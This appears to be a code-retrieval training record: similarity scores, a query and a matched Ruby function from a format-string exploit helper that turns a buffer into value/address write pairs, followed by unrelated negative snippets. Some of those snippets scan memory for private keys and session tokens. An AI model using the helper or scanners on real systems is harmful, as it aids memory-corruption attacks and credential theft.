"0.55859697",
"0.5572697",
"0.5558047",
"0.55560416",
"0.5536505",
"0.55352694",
"0.55268675",
"0.55204177",
"0.5506121",
"0.5502592",
"0.5470494",
"0.54580265",
"0.5435646",
"0.54270196",
"0.54248005",
"0.5424129",
"0.54139733",
"0.5413132",
"0.5386794",
"0.5378488",
"0.5375752",
"0.5375134",
"0.5363742",
"0.5359108",
"0.535574",
"0.53367263",
"0.53359723",
"0.5295492",
"0.5295492",
"0.5291141",
"0.5287635",
"0.5283868",
"0.5282417",
"0.5252505",
"0.5242969",
"0.52421653",
"0.52350557",
"0.52312696",
"0.52302533",
"0.5226845",
"0.52199095",
"0.5211785",
"0.5208569",
"0.52066475",
"0.5200509",
"0.5200509",
"0.5200509",
"0.52000487",
"0.51803505",
"0.5179445",
"0.51779044",
"0.5173083",
"0.51703125",
"0.5168579",
"0.5167955",
"0.5163645",
"0.5162922",
"0.5160206",
"0.51576513",
"0.5156073",
"0.51422346",
"0.5140772",
"0.5140527",
"0.5137801",
"0.5135742",
"0.5134309",
"0.51316804",
"0.51285774",
"0.5126248",
"0.51213247",
"0.5115306",
"0.51140064",
"0.5111326",
"0.51097286",
"0.51062393",
"0.51061213",
"0.5103119"
] |
0.5609994
|
20
|
Generates and returns an array of what/where pairs from the supplied buffer
|
def fmtstr_gen_array_from_buf(write_to, buffer, targ = target)
# break buffer into shorts
arr = Array.new
off = 0
if ((buffer.length % 2) == 1)
buffer << rand_text(1)
end
while off < buffer.length
# convert short to number
tb = buffer[off,2].unpack('v')[0].to_i
#print_status("%d %d %d" % [off,buffer.length,tb])
addr = write_to + off
arr << [ tb, addr ]
off += 2
end
return arr
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def hash_char_positions\n [].tap do |results|\n @lines.each.with_index do |line, line_idx|\n line.enum_for(:scan, /#/).each do\n results << [line_idx, Regexp.last_match.begin(0)]\n end\n end\n end\n end",
"def scan(buffer, source_offset)\n buffer.scan(\n /-----BEGIN\\s*[^\\-]+-----+\\r?\\n[^\\-]*-----END\\s*[^\\-]+-----\\r?\\n?/m\n ).each do |m|\n # This may hit an earlier identical match, but thats ok\n last_offset = buffer.index(m)\n report_hit(:plugin => self, :type => 'PEM', :data => m, :offset => source_offset + last_offset)\n last_offset += m.length\n end\n end",
"def mark_IV_index_finder(encoded_message,hint)\n key_combinations =Array.new\n for i in 0...9\n for j in 0...9\n decoded_message=mark_IV_decoder(i,j,encoded_message)\n if (decoded_message.include? hint)\n index_combination =Array.new\n index_combination.push i,j\n key_combinations.push index_combination\n final_decoded_message = decoded_message\n end\n end\n end\n return [key_combinations,final_decoded_message]\nend",
"def processHits(hits, buffer)\n result = []\n puts \"Hits = #{hits}\"\n ptr = buffer.unpack(\"I*\")\n # Hit records are variable length. First element is the record length,\n # then the z-indexes, finally the name stack.\n p = 0\n for i in 0...hits\n name_count = ptr[p]\n z1 = ptr[p + 1].to_f / 0xffffffff\n z2 = ptr[p + 2].to_f / 0xffffffff\n names = ptr[p + 3, name_count]\n p += 3 + name_count;\n\n #puts \" number of names for hit = #{name_count}\"\n #puts \" z1 is #{z1}\"\n #puts \" z2 is #{z2}\"\n #puts \"Names = \" + names.inspect\n \n result << names\n end\n result\n end",
"def get_braille_arrays\n string = braille_to_string\n lines = string.scan(/.{1,80}/)\n pairs = lines.map do |string|\n string.scan(/../)\n end\n end",
"def parse(buf)\n n, count = 0, 0\n while n < buf.size\n key_size, value_size = buf[n, 8].unpack('NN')\n data_size = key_size + 8\n data_size += value_size if value_size != DELETE\n data = buf[n, data_size]\n n += data_size\n unless buf[n, 4] == crc32(data)\n raise 'CRC mismatch: your stash might be corrupted!'\n end\n n += 4\n yield(value_size == DELETE ? [data[8, key_size]] : [data[8, key_size], data[8 + key_size, value_size]])\n count += 1\n end\n count\n end",
"def scan(buffer, source_offset)\n\n buffer.scan(\n # Look for a DER record start (0x30), a length value, and a version marker. \n # This identifies RSA, DSA, and EC keys\n /\\x30.{1,5}\\x02\\x01(?:\\x00\\x02|\\x01\\x04)/m\n ).each do |m|\n # This may hit an earlier identical match, but thats ok\n last_offset = buffer.index(m)\n next unless last_offset \n\n # Attempt to parse the key at the specified offset\n key_candidate = buffer[last_offset, 20000]\n key_type = nil\n key = nil\n\n [:RSA, :DSA, :EC ].each do |ktype|\n next unless OpenSSL::PKey.const_defined?(ktype)\n key_type = ktype\n key = OpenSSL::PKey.const_get(ktype).new(key_candidate) rescue nil\n break if key\n end\n\n # Ignore this if OpenSSL could not parse out a valid key\n next unless key\n\n report_hit(:type => \"#{key_type}\", :data => key.to_pem, :offset => source_offset + last_offset)\n end\n end",
"def scan(buffer, source_offset)\n\n buffer.scan(\n /[\\x06\\x07]\\x02.{6}(?:RSA1|RSA2|DSS1|DSS2).{20}/\n ).each do |m|\n # This may hit an earlier identical match, but thats ok\n last_offset = buffer.index(m)\n next unless last_offset \n\n # Attempt to parse the key at the specified offset\n key_candidate = buffer[last_offset, 20000]\n key_type = \"\"\n key = nil\n\n bits = key_candidate.unpack(\"CCA6A4V\")\n key_type << ( bits[3] + \"-\" + bits[4].to_s + \"-\" )\n key_type << ( (bits[0] == 0x07) ? \"Private\" : \"Public\" )\n\n key_length = 0\n nbyte = (bits[4] + 7) >> 3\n hnbyte = (bits[4] + 15) >> 4 \n\n # DSA\n if bits[3].index('DSS')\n if bits[0] == 0x06\n # Expected length: 20 for q + 3 components bitlen each + 24 for seed structure.\n key_length = 44 + (3 * nbyte)\n else\n # Expected length: 20 for q, priv, 2 bitlen components + 24 for seed structure.\n key_length = 64 + (2 * nbyte)\n end\n # RSA\n else\n if bits[0] == 0x06\n # Expected length: 4 for 'e' + 'n'\n key_length = 4 + nbyte\n else\n # Expected length: 4 for 'e' and 7 other components. 2 components are bitlen size, 5 are bitlen/2\n key_length = 4 + (2 * nbyte) + (5 * hnbyte)\n end\n end\n\n key = buffer[last_offset, key_length + 16]\n next unless key.length == (key_length+16)\n\n report_hit(:type => \"CAPI-#{key_type}\", :data => key, :offset => source_offset + last_offset)\n end\n end",
"def build_character_array(character_bytes, character)\n character_bytes\n .select { |sub_array| sub_array.include?(character) }\n .flatten\nend",
"def extract_data(src)\n data = File.open(src, 'rb').readlines\n rv = []\n until data.empty?\n if data.shift.strip == '<rec type=\"boundaries\">'\n data.shift =~ %r[<u>\\d+</u><!--\\s*(.*?)\\s*-->]\n a = $1\n data.shift =~ %r[<u>\\d+</u><!--\\s*(.*?)\\s*-->]\n b = $1\n rv << [a,b]\n end\n end\n rv\nend",
"def query_interfaces(command,array)\n command.each_line do |line|\n array.push(line).flatten if line =~ /w[1-8]g1/ .. line =~ /TX/\n end\n end",
"def lines\n (1..buffer.length.to_i - 1).map { |ix| buffer[ix.to_i] }.flatten\n end",
"def scan(buffer, source_offset)\n buffer.scan(\n /[%a-z0-9_\\-=\\&]*(?:sid|session|sess|user|usr|login|pass|secret|token)[%a-z0-9_\\-=\\&]*=[%a-z0-9_\\-=&]+/mi\n ).each do |m|\n # This may hit an earlier identical match, but thats ok\n last_offset = buffer.index(m)\n report_hit(:type => 'URLParams', :data => m, :offset => source_offset + last_offset)\n last_offset += m.length\n end\n end",
"def gets_buffer_data(*a)\n @device.buffer.map { |msg| msg[:data] }\n end",
"def buffer\n @line[@pos, @line.length - @pos] unless @line.nil?\n end",
"def lookahead_buffer\n @lookahead_buffer ||= []\n end",
"def lookahead_buffer\n @lookahead_buffer ||= []\n end",
"def decode(buf)\n set = []\n set << @cc.process(header(buf)) while !buf.empty?\n @cc.refset.each do |i,header|\n set << header if !set.include? header\n end\n\n set.compact\n end",
"def search_search(exploits_array, query)\n search_results=[]\n exploits_array.each do |line|\n line = line.unpack('C*').pack('U*') if !line.valid_encoding?\n if query == 'nil'\n search_results << line\n else\n search_results << line if line =~ /#{query}/i\n end\n end\n return search_results\nend",
"def align_buf(buf)\n ret = []\n\n while !buf.nil? do\n if @carry_over\n buf = @carry_over + buf\n @carry_over = nil\n end\n\n\n if buf.size < 12\n @carry_over = buf\n buf = nil\n next # exit the loop and return\n end\n\n # We have a problem with our packets somewhere\n if buf[0...5] != \"@ABCD\"\n binding.pry\n raise \"This should never happen\"\n end\n\n # Read the type\n type,length,number = buf[5...14].unpack('CS>I>')\n\n # Calculate the carry_over based on the length\n expected_length = HEADER_LENGTH + length\n packet = nil\n if buf.size < expected_length\n @carry_over = buf\n buf = nil\n elsif buf.size > expected_length\n packet = buf[0...expected_length]\n buf = buf[expected_length...buf.size]# next buf\n else # buf.size == expected_length\n packet = buf\n buf = nil\n end\n\n # TODO: Parametrize this\n # Discard any packet except sensor data TYPE 1\n if type == 1 && !packet.nil?\n ret << packet\n end\n end\n\n ret\n end",
"def result_scanned_position(r)\n [self.result_id(r),\n self.result_file_hashes(r)].freeze\n end",
"def unmarshall_buffer(buf)\n buf = buf.dup\n if buf[0] == ?l\n endianness = LIL_END\n else\n endianness = BIG_END\n end\n pu = PacketUnmarshaller.new(buf, endianness)\n dummy, @message_type, @flags, @protocol, @body_length, @serial,\n headers = pu.unmarshall(MESSAGE_SIGNATURE)\n headers.each do |struct|\n case struct[0]\n when PATH\n @path = struct[1]\n when INTERFACE\n @interface = struct[1]\n when MEMBER\n @member = struct[1]\n when ERROR_NAME\n @error_name = struct[1]\n when REPLY_SERIAL\n @reply_serial = struct[1]\n when DESTINATION\n @destination = struct[1]\n when SENDER\n @sender = struct[1]\n when SIGNATURE\n @signature = struct[1]\n end\n end\n pu.align(8)\n if @body_length > 0 and @signature\n @params = pu.unmarshall(@signature, @body_length)\n end\n [self, pu.idx]\n end",
"def get_possible_patterns_at_position(position, coefficients)\n x, y = position\n possible_patterns = coefficients[x][y]\nend",
"def match_next(pattern,mms,buf_size=524288)\r\n while true\r\n start_pos = @io.pos-@buffer.length\r\n result = pattern.match(@buffer)\r\n if result\r\n offset_begin, offset_end = result.offset(0)\r\n @buffer = @buffer[offset_end,@buffer.length]\r\n return [result,start_pos+offset_begin,start_pos+offset_end]\r\n else\r\n return nil if @io.eof?\r\n @buffer = @buffer[-mms..-1] if @buffer.length>mms # backup by one mms\r\n @buffer << (@io.read(buf_size) || '')\r\n end\r\n end\r\n\r\n end",
"def data\n data = Jhead.call(@match, @pattern).split(\"\\n\\n\").map { |p| p.split(\"\\n\") }\n data.map! do |p|\n h = Hash.new\n p.each do |l|\n #OPTIMIZE for the moment, ignore line:\n # \"======= IPTC data: =======\" and its following lines.\n break if l == \"======= IPTC data: =======\"\n if l =~ /(.+?)\\s*:\\s*(.+)/\n h[parse_tag $1] = parse_value $2\n end\n end\n h\n end\n\n data.size == 1 ? data.first : data\n end",
"def point_array(point)\n [point[:path] || raise,\n point[:value] || raise,\n point.fetch(:ts, nil),\n point.fetch(:source, HOSTNAME),\n point[:tags] && point[:tags].to_wf_tag,\n opts[:tags] && opts[:tags].to_wf_tag]\n end",
"def parse(source_buffer); end",
"def parse(source_buffer); end",
"def parse(source_buffer); end",
"def match_tokens\n (1..@buffer.length).each{|n|\n @tokens.each{|k,vs|\n vs.each{|v| # Each value of each token\n # If match\n #puts \"#{@buffer[0..n]} -- #{v}\"\n if @buffer[0..n] == v then\n t = Token.new(k, v, \"#{@line-@buffer.count(\"\\n\")}.#{@pos-@buffer.length}\", nil) # Construct token, compensate for readahead\n @buffer = @buffer[n-1..-1] # Cut from left of buffer\n return t # return token\n end\n }\n }\n }\n return nil\n end",
"def find\n src.split(\"\\n\")\n end",
"def get_context_from_file(filepath)\r\n context = []\r\n\r\n end_header = false\r\n before_line = \"before\"\r\n\r\n open(filepath) {|f|\r\n f.each {|line|\r\n line = line.encode(\"UTF-16BE\", :invalid => :replace, :undef => :replace, :replace => '?').encode(\"UTF-8\")\r\n line = line.chomp\r\n\r\n if before_line.empty? and not line.empty? and not @header_regxp.match(line)\r\n end_header = true\r\n end\r\n\r\n context << line if end_header\r\n\r\n before_line = line\r\n }\r\n }\r\n context.join(\" \")\r\nend",
"def calculate_position_coordinates(n, grid, character)\n which_row = []\n which_cell = []\n (0...n).each do |i|\n grid[i].split('').each_with_index do |k ,index|\n if k == character\n which_row << i\n which_cell << index\n end \n end\n end\n return which_row, which_cell\nend",
"def find_all(template, &b)\n return @bin.values unless block_given?\n if key = domain(template)\n # indexed search\n return [@bin[key]]\n else\n # liner search\n return @bin.select{|_, val| yield(val)}.values\n end\n end",
"def my_hash_finding_method(source, thing_to_find)\n output_array = []\n i = 0\n source.each_pair { |key,value|\n if value == thing_to_find\n output_array[i] = key\n i += 1\n end\n }\n return output_array\nend",
"def list_hb_parser(pymol_hb_script_reply, flag=/^PAIR: /)\n # grab each line of output with specified header, then remove the header\n hbond_lines = pymol_hb_script_reply.split(\"\\n\").select {|line| line =~ flag }.map {|line| line.sub(flag,'') }\n\n ids_and_distances = hbond_lines.map do |line|\n # A/THR`325/N/2478 A/ALA`323/O/2468 3.05\n (first, second, dist) = line.split(/\\s+/)\n (id1, id2) = [first, second].map {|v| v.split('/').last.to_i }\n [id1, id2, dist.to_f]\n end\n end",
"def position_in_source\n pos = @locator.pos_on_line(lexing_context[:offset])\n offset = @locator.char_offset(lexing_context[:offset])\n length = @locator.char_length(lexing_context[:offset], lexing_context[:end_offset])\n start_line = @locator.line_for_offset(lexing_context[:offset])\n\n return { :line => start_line, :pos => pos, :offset => offset, :length => length}\n end",
"def my_array_finding_method(source, thing_to_find)\n i = 0\n t = 0\n output_array = []\n while i < source.length\n if source[i].to_s.include?(thing_to_find)\n output_array[t] = source[i].to_s\n t += 1\n end\n i +=1\n end\n return output_array\nend",
"def get_data\n xoff, yoff, unit = @data.unpack(\"l>l>C\")\n\n if !(unit == 0 || unit == 1)\n warn \"Unrecognised unit value for oFFs chunk: #{unit}.\"\n end\n\n return [xoff, yoff, unit]\n end",
"def parse(buffer = :begin)\n buffer = [buffer]\n saved = save\n eat_ws_and_comments\n until eof?\n t = term\n break if t == :\"\"\n buffer += [t]\n end\n buffer = flatten_begin buffer\n A(*saved, *buffer)\n end",
"def gather_rlocs(fh)\n\t\t(0...@nrlocs).each do |rlocnum|\n\t\t\tloc, seg, ref, type, extra = getl(fh).split(' ', 5)\n\t\t\t\n\t\t\t@rlocrecs[rlocnum] = build_rlocrec(loc.hex, seg.hex, ref.hex, type, extra)\n\t\tend\n\tend",
"def findchar(char, text, start, endpos)\n\n iTex = start\n iRes = 0\n results = Array.new(0,0)\n\n while true\n if iTex > endpos then\n return results\n end\n\n if text[iTex] == char then\n results[iRes] = iTex\n iRes = iRes + 1\n end\n\n iTex = iTex + 1\n end\nend",
"def parse_hw_chunk(chunk)\n result = []\n chunk.gsub(/\\s+/,'').split(/;/).each { |g|\n flags = {}\n if g=~/(.*):(.*)/ then\n f,g = [$1,$2]\n f.split('').each {|c| flags[c]=true }\n if flags.keys.length>6 then $stderr.print \"warning: in this input '#{chunk}', flags '#{f}', you have more than 6 flags; this would likely occur because you were missing a semicolon\\n\" end\n [',','|','/']. each { |illegal_char|\n if flags.has_key?(illegal_char) then fatal_error(\"in this input '#{chunk}', flags '#{f}' contain the character '#{illegal_char}', which is illegal; this would likely occur because you were missing a semicolon\") end\n }\n if flags.keys.length<f.length then fatal_error(\"in this input '#{chunk}', flags '#{f}', some flags occur more than once; this would likely occur because you were missing a semicolon\") end\n end\n g = g.split(/,/).map {|x| x.split(/\\|/)}\n # g now looks like [[\"traffic/AB\"],[\"foo\",\"bar\"]]\n g = resolve_labels(g)\n result.push([flags,g])\n }\n return result\nend",
"def solution(s, p, q)\n result = []\n\n (0..p.size-1).each do |idx|\n buff = s[p[idx]..q[idx]]\n if buff.index('A')\n result << 1\n elsif buff.index('C')\n result << 2\n elsif buff.index('G')\n result << 3\n else\n result << 4\n end\n end\n\n return result\nend",
"def findcoordinates(input)\n case input\n when \"^\"\n position = [0,1]\n when \"v\"\n position = [0,-1]\n when \">\"\n position = [1,0]\n when \"<\"\n position = [-1,0]\n end\nend",
"def fullscan\n array = []\n\n self.scan { |token, str|\n # Ignore any definition nesting problems\n @indefine = false\n array.push([token,str])\n }\n array\n end",
"def NL43_locator(seq=\"\",temp_dir=File.dirname($0))\n hxb2_ref = \"TGGAAGGGCTAATTTGGTCCCAAAAAAGACAAGAGATCCTTGATCTGTGGATCTACCACACACAAGGCTACTTCCCTGATTGGCAGAACTACACACCAGGGCCAGGGATCAGATATCCACTGACCTTTGGATGGTGCTTCAAGTTAGTACCAGTTGAACCAGAGCAAGTAGAAGAGGCCAAATAAGGAGAGAAGAACAGCTTGTTACACCCTATGAGCCAGCATGGGATGGAGGACCCGGAGGGAGAAGTATTAGTGTGGAAGTTTGACAGCCTCCTAGCATTTCGTCACATGGCCCGAGAGCTGCATCCGGAGTACTACAAAGACTGCTGACATCGAGCTTTCTACAAGGGACTTTCCGCTGGGGACTTTCCAGGGAGGTGTGGCCTGGGCGGGACTGGGGAGTGGCGAGCCCTCAGATGCTACATATAAGCAGCTGCTTTTTGCCTGTACTGGGTCTCTCTGGTTAGACCAGATCTGAGCCTGGGAGCTCTCTGGCTAACTAGGGAACCCACTGCTTAAGCCTCAATAAAGCTTGCCTTGAGTGCTCAAAGTAGTGTGTGCCCGTCTGTTGTGTGACTCTGGTAACTAGAGATCCCTCAGACCCTTTTAGTCAGTGTGGAAAATCTCTAGCAGTGGCGCCCGAACAGGGACTTGAAAGCGAAAGTAAAGCCAGAGGAGATCTCTCGACGCAGGACTCGGCTTGCTGAAGCGCGCACGGCAAGAGGCGAGGGGCGGCGACTGGTGAGTACGCCAAAAATTTTGACTAGCGGAGGCTAGAAGGAGAGAGATGGGTGCGAGAGCGTCGGTATTAAGCGGGGGAGAATTAGATAAATGGGAAAAAATTCGGTTAAGGCCAGGGGGAAAGAAACAATATAAACTAAAACATATAGTATGGGCAAGCAGGGAGCTAGAACGATTCGCAGTTAATCCTGGCCTTTTAGAGACATCAGAAGGCTGTAGACAAATACTGGGACAGCTACAACCATCCCTTCAGACAGGATCAGAAGAACTTAGATCATTATATAATACAATAGCAGTCCTCTATTGTGTGCATCAAAGGATAGATGTAAAAGACACCAAGGAAGCCTTAGATAAGATAGAGGAAGAGCAAAACAAAAGTAAGAAAAAGGCACAGCAAGCAGCAGCTGACACAGGAAACAACAGCCAGGTCAGCCAAAATTACCCTATAGTGCAGAACCTCCAGGGGCAAATGGTACATCAGGCCATATCACCTAGAACTTTAAATGCATGGGTAAAAGTAGTAGAAGAGAAGGCTTTCAGCCCAGAAGTAATACCCATGTTTTCAGCATTATCAGAAGGAGCCACCCCACAAGATTTAAATACCATGCTAAACACAGTGGGGGGACATCAAGCAGCCATGCAAATGTTAAAAGAGACCATCAATGAGGAAGCTGCAGAATGGGATAGATTGCATCCAGTGCATGCAGGGCCTATTGCACCAGGCCAGATGAGAGAACCAAGGGGAAGTGACATAGCAGGAACTACTAGTACCCTTCAGGAACAAATAGGATGGATGACACATAATCCACCTATCCCAGTAGGAGAAATCTATAAAAGATGGATAATCCTGGGATTAAATAAAATAGTAAGAATGTATAGCCCTACCAGCATTCTGGACATAAGACAAGGACCAAAGGAACCCTTTAGAGACTATGTAGACCGATTCTATAAAACTCTAAGAGCCGAGCAAGCTTCACAAGAGGTAAAAAATTGGATGACAGAAACCTTGTTGGTCCAAAATGCGAACCCAGATTGTAAGACTATTTTAAAAGCATTGGGACCAGGAGCGACACTAGAAGAAATGATGACAGCATGTCAGGGAGTGGGGGGACCCGGCCATAAAGCAAGAGTTTTGGCTGAAGCAATGAGCCAAGTAACAAATCCAGCTACCATAATGATACAGAAAGGCAATTTTAGGAACCAAAGAAAGACTGTTAAGTGTTTCAATTGTGGCAAAGAAGGGCACATAGCCAAAAATTGCAGGGCCCCTAGGAAAAAGGGCTGTTGGAAATGTGGAAAGGAAGGACACCAAATGAAAGATTGTACTGAGAGACAGGCTAATTTTTTAGGGAAGATCTGGCCTTCCCACAAGGGAAGGCCAGGGAATTTTCTTCAGAGCAGACCAGAGCCAACAGCCCCACCAGAAGAGAGCTTCAGGTTTGGGGAAGAGACAACAACTCCCTCTCAGAAGCAGGAGCCGATAGACAAGGAACTGTATCCTTTAGCTTCCCTCAGATCACTCTTTGGCAGCGACCCCTCGTCACAATAAAGATAGGGGGGCAATTAAAGGAAGCTCTATTAGATACAGGAGCAGATGATACAGTATTAGAAGAAATGAATTTGCCAGGAAGATGGAAACCAAAAATGATAGGGGGAATTGGAGGTTTTATCAAAGTAAGACAGTATGATCAGATACTCATAGAAATCTGCGGACATAAAGCTATAGGTACAGTATTAGTAGGACCTACACCTGTCAACATAATTGGAAGAAATCTGTTGACTCAGATTGGCTGCACTTTAAATTTTCCCATTAGTCCTATTGAGACTGTACCAGTAAAATTAAAGCCAGGAATGGATGGCCCAAAAGTTAAACAATGGCCATTGACAGAAGAAAAAATAAAAGCATTAGTAGAAATTTGTACAGAAATGGAAAAGGAAGGAAAAATTTCAAAAATTGGGCCTGAAAATCCATACAATACTCCAGTATTTGCCATAAAGAAAAAAGACAGTACTAAATGGAGAAAATTAGTAGATTTCAGAGAACTTAATAAGAGAACTCAAGATTTCTGGGAAGTTCAATTAGGAATACCACATCCTGCAGGGTTAAAACAGAAAAAATCAGTAACAGTACTGGATGTGGGCGATGCATATTTTTCAGTTCCCTTAGATAAAGACTTCAGGAAGTATACTGCATTTACCATACCTAGTATAAACAATGAGACACCAGGGATTAGATATCAGTACAATGTGCTTCCACAGGGATGGAAAGGATCACCAGCAATATTCCAGTGTAGCATGACAAAAATCTTAGAGCCTTTTAGAAAACAAAATCCAGACATAGTCATCTATCAATACATGGATGATTTGTATGTAGGATCTGACTTAGAAATAGGGCAGCATAGAACAAAAATAGAGGAACTGAGACAACATCTGTTGAGGTGGGGATTTACCACACCAGACAAAAAACATCAGAAAGAACCTCCATTCCTTTGGATGGGTTATGAACTCCATCCTGATAAATGGACAGTACAGCCTATAGTGCTGCCAGAAAAGGACAGCTGGACTGTCAATGACATACAGAAATTAGTGGGAAAATTGAATTGGGCAAGTCAGATTTATGCAGGGATTAAAGTAAGGCAATTATGTAAACTTCTTAGGGGAACCAAAGCACTAACAGAAGTAGTACCACTAACAGAAGAAGCAGAGCTAGAACTGGCAGAAAACAGGGAGATTCTAAAAGAACCGGTACATGGAGTGTATTATGACCCATCAAAAGACTTAATAGCAGAAATACAGAAGCAGGGGCAAGGCCAATGGACATATCAAATTTATCAAGAGCCATTTAAAAATCTGAAAACAGGAAAATATGCAAGAATGAAGGGTGCCCACACTAATGATGTGAAACAATTAACAGAGGCAGTACAAAAAATAGCCACAGAAAGCATAGTAATATGGGGAAAGACTCCTAAATTTAAATTACCCATACAAAAGGAAACATGGGAAGCATGGTGGACAGAGTATTGGCAAGCCACCTGGATTCCTGAGTGGGAGTTTGTCAATACCCCTCCCTTAGTGAAGTTATGGTACCAGTTAGAGAAAGAACCCATAATAGGAGCAGAAACTTTCTATGTAGATGGGGCAGCCAATAGGGAAACTAAATTAGGAAAAGCAGGATATGTAACTGACAGAGGAAGACAAAAAGTTGTCCCCCTAACGGACACAACAAATCAGAAGACTGAGTTACAAGCAATTCATCTAGCTTTGCAGGATTCGGGATTAGAAGTAAACATAGTGACAGACTCACAATATGCATTGGGAATCATTCAAGCACAACCAGATAAGAGTGAATCAGAGTTAGTCAGTCAAATAATAGAGCAGTTAATAAAAAAGGAAAAAGTCTACCTGGCATGGGTACCAGCACACAAAGGAATTGGAGGAAATGAACAAGTAGATGGGTTGGTCAGTGCTGGAATCAGGAAAGTACTATTTTTAGATGGAATAGATAAGGCCCAAGAAGAACATGAGAAATATCACAGTAATTGGAGAGCAATGGCTAGTGATTTTAACCTACCACCTGTAGTAGCAAAAGAAATAGTAGCCAGCTGTGATAAATGTCAGCTAAAAGGGGAAGCCATGCATGGACAAGTAGACTGTAGCCCAGGAATATGGCAGCTAGATTGTACACATTTAGAAGGAAAAGTTATCTTGGTAGCAGTTCATGTAGCCAGTGGATATATAGAAGCAGAAGTAATTCCAGCAGAGACAGGGCAAGAAACAGCATACTTCCTCTTAAAATTAGCAGGAAGATGGCCAGTAAAAACAGTACATACAGACAATGGCAGCAATTTCACCAGTACTACAGTTAAGGCCGCCTGTTGGTGGGCGGGGATCAAGCAGGAATTTGGCATTCCCTACAATCCCCAAAGTCAAGGAGTAATAGAATCTATGAATAAAGAATTAAAGAAAATTATAGGACAGGTAAGAGATCAGGCTGAACATCTTAAGACAGCAGTACAAATGGCAGTATTCATCCACAATTTTAAAAGAAAAGGGGGGATTGGGGGGTACAGTGCAGGGGAAAGAATAGTAGACATAATAGCAACAGACATACAAACTAAAGAATTACAAAAACAAATTACAAAAATTCAAAATTTTCGGGTTTATTACAGGGACAGCAGAGATCCAGTTTGGAAAGGACCAGCAAAGCTCCTCTGGAAAGGTGAAGGGGCAGTAGTAATACAAGATAATAGTGACATAAAAGTAGTGCCAAGAAGAAAAGCAAAGATCATCAGGGATTATGGAAAACAGATGGCAGGTGATGATTGTGTGGCAAGTAGACAGGATGAGGATTAACACATGGAAAAGATTAGTAAAACACCATATGTATATTTCAAGGAAAGCTAAGGACTGGTTTTATAGACATCACTATGAAAGTACTAATCCAAAAATAAGTTCAGAAGTACACATCCCACTAGGGGATGCTAAATTAGTAATAACAACATATTGGGGTCTGCATACAGGAGAAAGAGACTGGCATTTGGGTCAGGGAGTCTCCATAGAATGGAGGAAAAAGAGATATAGCACACAAGTAGACCCTGACCTAGCAGACCAACTAATTCATCTGCACTATTTTGATTGTTTTTCAGAATCTGCTATAAGAAATACCATATTAGGACGTATAGTTAGTCCTAGGTGTGAATATCAAGCAGGACATAACAAGGTAGGATCTCTACAGTACTTGGCACTAGCAGCATTAATAAAACCAAAACAGATAAAGCCACCTTTGCCTAGTGTTAGGAAACTGACAGAGGACAGATGGAACAAGCCCCAGAAGACCAAGGGCCACAGAGGGAGCCATACAATGAATGGACACTAGAGCTTTTAGAGGAACTTAAGAGTGAAGCTGTTAGACATTTTCCTAGGATATGGCTCCATAACTTAGGACAACATATCTATGAAACTTACGGGGATACTTGGGCAGGAGTGGAAGCCATAATAAGAATTCTGCAACAACTGCTGTTTATCCATTTCAGAATTGGGTGTCGACATAGCAGAATAGGCGTTACTCGACAGAGGAGAGCAAGAAATGGAGCCAGTAGATCCTAGACTAGAGCCCTGGAAGCATCCAGGAAGTCAGCCTAAAACTGCTTGTACCAATTGCTATTGTAAAAAGTGTTGCTTTCATTGCCAAGTTTGTTTCATGACAAAAGCCTTAGGCATCTCCTATGGCAGGAAGAAGCGGAGACAGCGACGAAGAGCTCATCAGAACAGTCAGACTCATCAAGCTTCTCTATCAAAGCAGTAAGTAGTACATGTAATGCAACCTATAATAGTAGCAATAGTAGCATTAGTAGTAGCAATAATAATAGCAATAGTTGTGTGGTCCATAGTAATCATAGAATATAGGAAAATATTAAGACAAAGAAAAATAGACAGGTTAATTGATAGACTAATAGAAAGAGCAGAAGACAGTGGCAATGAGAGTGAAGGAGAAGTATCAGCACTTGTGGAGATGGGGGTGGAAATGGGGCACCATGCTCCTTGGGATATTGATGATCTGTAGTGCTACAGAAAAATTGTGGGTCACAGTCTATTATGGGGTACCTGTGTGGAAGGAAGCAACCACCACTCTATTTTGTGCATCAGATGCTAAAGCATATGATACAGAGGTACATAATGTTTGGGCCACACATGCCTGTGTACCCACAGACCCCAACCCACAAGAAGTAGTATTGGTAAATGTGACAGAAAATTTTAACATGTGGAAAAATGACATGGTAGAACAGATGCATGAGGATATAATCAGTTTATGGGATCAAAGCCTAAAGCCATGTGTAAAATTAACCCCACTCTGTGTTAGTTTAAAGTGCACTGATTTGAAGAATGATACTAATACCAATAGTAGTAGCGGGAGAATGATAATGGAGAAAGGAGAGATAAAAAACTGCTCTTTCAATATCAGCACAAGCATAAGAGATAAGGTGCAGAAAGAATATGCATTCTTTTATAAACTTGATATAGTACCAATAGATAATACCAGCTATAGGTTGATAAGTTGTAACACCTCAGTCATTACACAGGCCTGTCCAAAGGTATCCTTTGAGCCAATTCCCATACATTATTGTGCCCCGGCTGGTTTTGCGATTCTAAAATGTAATAATAAGACGTTCAATGGAACAGGACCATGTACAAATGTCAGCACAGTACAATGTACACATGGAATCAGGCCAGTAGTATCAACTCAACTGCTGTTAAATGGCAGTCTAGCAGAAGAAGATGTAGTAATTAGATCTGCCAATTTCACAGACAATGCTAAAACCATAATAGTACAGCTGAACACATCTGTAGAAATTAATTGTACAAGACCCAACAACAATACAAGAAAAAGTATCCGTATCCAGAGGGGACCAGGGAGAGCATTTGTTACAATAGGAAAAATAGGAAATATGAGACAAGCACATTGTAACATTAGTAGAGCAAAATGGAATGCCACTTTAAAACAGATAGCTAGCAAATTAAGAGAACAATTTGGAAATAATAAAACAATAATCTTTAAGCAATCCTCAGGAGGGGACCCAGAAATTGTAACGCACAGTTTTAATTGTGGAGGGGAATTTTTCTACTGTAATTCAACACAACTGTTTAATAGTACTTGGTTTAATAGTACTTGGAGTACTGAAGGGTCAAATAACACTGAAGGAAGTGACACAATCACACTCCCATGCAGAATAAAACAATTTATAAACATGTGGCAGGAAGTAGGAAAAGCAATGTATGCCCCTCCCATCAGTGGACAAATTAGATGTTCATCAAATATTACTGGGCTGCTATTAACAAGAGATGGTGGTAATAACAACAATGGGTCCGAGATCTTCAGACCTGGAGGAGGCGATATGAGGGACAATTGGAGAAGTGAATTATATAAATATAAAGTAGTAAAAATTGAACCATTAGGAGTAGCACCCACCAAGGCAAAGAGAAGAGTGGTGCAGAGAGAAAAAAGAGCAGTGGGAATAGGAGCTTTGTTCCTTGGGTTCTTGGGAGCAGCAGGAAGCACTATGGGCTGCACGTCAATGACGCTGACGGTACAGGCCAGACAATTATTGTCTGATATAGTGCAGCAGCAGAACAATTTGCTGAGGGCTATTGAGGCGCAACAGCATCTG